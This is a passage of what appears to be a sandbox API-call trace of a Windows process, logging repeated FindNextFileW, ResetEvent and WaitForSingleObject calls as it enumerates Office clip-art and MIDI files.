ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01172_.WMF", cAlternateFileName="")) returned 1 [0234.288] ResetEvent (hEvent=0x2b8) returned 1 [0234.288] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.295] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x70c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01173_.WMF", cAlternateFileName="")) returned 1 [0234.295] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01176_.WMF", cAlternateFileName="")) returned 1 [0234.295] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01178_.WMF", cAlternateFileName="")) returned 1 [0234.296] ResetEvent (hEvent=0x2b8) returned 1 [0234.296] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.300] ResetEvent (hEvent=0x2b8) returned 1 [0234.300] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.446] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01179_.WMF", cAlternateFileName="")) returned 1 [0234.446] ResetEvent (hEvent=0x2b8) returned 1 [0234.446] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.448] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x824, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01180_.WMF", cAlternateFileName="")) returned 1 [0234.448] ResetEvent (hEvent=0x2b8) returned 1 [0234.449] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.687] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01181_.WMF", cAlternateFileName="")) returned 1 [0234.687] ResetEvent (hEvent=0x2b8) returned 1 [0234.687] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.694] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01182_.WMF", cAlternateFileName="")) returned 1 [0234.695] ResetEvent (hEvent=0x2b8) returned 1 [0234.695] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.710] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01183_.WMF", cAlternateFileName="")) returned 1 [0234.710] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2174, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01186_.WMF", cAlternateFileName="")) returned 1 [0234.710] ResetEvent (hEvent=0x2b8) returned 1 [0234.710] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.726] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb96b67, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb96b67, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01366_.WMF", cAlternateFileName="")) returned 1 [0234.726] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01434_.WMF", cAlternateFileName="")) returned 1 [0234.727] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01585_.WMF", cAlternateFileName="")) returned 1 [0234.727] ResetEvent (hEvent=0x2b8) returned 1 [0234.727] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.729] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01586_.WMF", cAlternateFileName="")) returned 1 [0234.729] ResetEvent (hEvent=0x2b8) returned 1 [0234.729] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0234.736] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01628_.WMF", cAlternateFileName="")) returned 1 [0234.736] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe7100f8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xe7100f8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe736331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01629_.WMF", cAlternateFileName="")) returned 1 [0234.736] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0234.736] ResetEvent (hEvent=0x2b8) returned 1 [0234.736] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.283] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xe7100f8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0235.284] ResetEvent (hEvent=0x2b8) returned 1 [0235.284] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.286] ResetEvent (hEvent=0x2b8) returned 1 [0235.286] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.357] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0235.357] ResetEvent (hEvent=0x2b8) returned 1 [0235.357] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.374] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfae8f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xebfae8f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xebfae8f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0235.374] ResetEvent (hEvent=0x2b8) returned 1 [0235.374] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.388] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DD01793_.WMF", cAlternateFileName="")) returned 1 [0235.388] ResetEvent (hEvent=0x2b8) returned 1 [0235.389] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.689] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xec9380a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xec9380a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf42d018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1815, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAST_01.MID", cAlternateFileName="")) returned 1 [0235.690] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00010_.WMF", cAlternateFileName="")) returned 1 [0235.690] ResetEvent (hEvent=0x2b8) returned 1 [0235.690] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.717] ResetEvent (hEvent=0x2b8) returned 1 [0235.717] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.949] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00019_.WMF", cAlternateFileName="")) returned 1 [0235.949] ResetEvent (hEvent=0x2b8) returned 1 [0235.949] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.961] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00172_.WMF", cAlternateFileName="")) returned 1 [0235.962] ResetEvent (hEvent=0x2b8) returned 1 [0235.962] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0235.985] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ED00184_.WMF", cAlternateFileName="")) returned 1 [0235.986] ResetEvent (hEvent=0x2b8) returned 1 [0235.986] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0236.300] ResetEvent (hEvent=0x2b8) returned 1 [0236.300] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0236.785] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3670, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00006_.WMF", cAlternateFileName="")) returned 1 [0236.785] ResetEvent (hEvent=0x2b8) returned 1 [0236.785] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0236.984] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00202_.WMF", cAlternateFileName="")) returned 1 [0236.984] ResetEvent (hEvent=0x2b8) returned 1 [0236.984] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.234] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3044, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00222_.WMF", cAlternateFileName="")) returned 1 [0237.240] ResetEvent (hEvent=0x2b8) returned 1 [0237.240] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.286] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00242_.WMF", cAlternateFileName="")) returned 1 [0237.286] ResetEvent (hEvent=0x2b8) returned 1 [0237.286] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.472] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00319_.WMF", cAlternateFileName="")) returned 1 [0237.472] ResetEvent (hEvent=0x2b8) returned 1 [0237.472] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.481] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00320_.WMF", cAlternateFileName="")) returned 1 [0237.481] ResetEvent (hEvent=0x2b8) returned 1 [0237.481] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.494] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc2f4b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x439c, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00397_.WMF", cAlternateFileName="")) returned 1 [0237.495] ResetEvent (hEvent=0x2b8) returned 1 [0237.495] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.507] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="EN00902_.WMF", cAlternateFileName="")) returned 1 [0237.507] ResetEvent (hEvent=0x2b8) returned 1 [0237.507] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.759] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2942, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPLR_01.MID", cAlternateFileName="")) returned 1 [0237.759] ResetEvent (hEvent=0x2b8) returned 1 [0237.760] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.782] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="FALL_01.MID", cAlternateFileName="")) returned 1 [0237.782] ResetEvent (hEvent=0x2b8) returned 1 [0237.782] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.792] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00074_.WMF", cAlternateFileName="")) returned 1 [0237.792] ResetEvent (hEvent=0x2b8) returned 1 [0237.792] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.850] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0237.850] ResetEvent (hEvent=0x2b8) returned 1 [0237.850] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0237.879] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdc09280, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdc09280, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdc09280, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0237.879] ResetEvent (hEvent=0x2b8) returned 1 [0237.879] 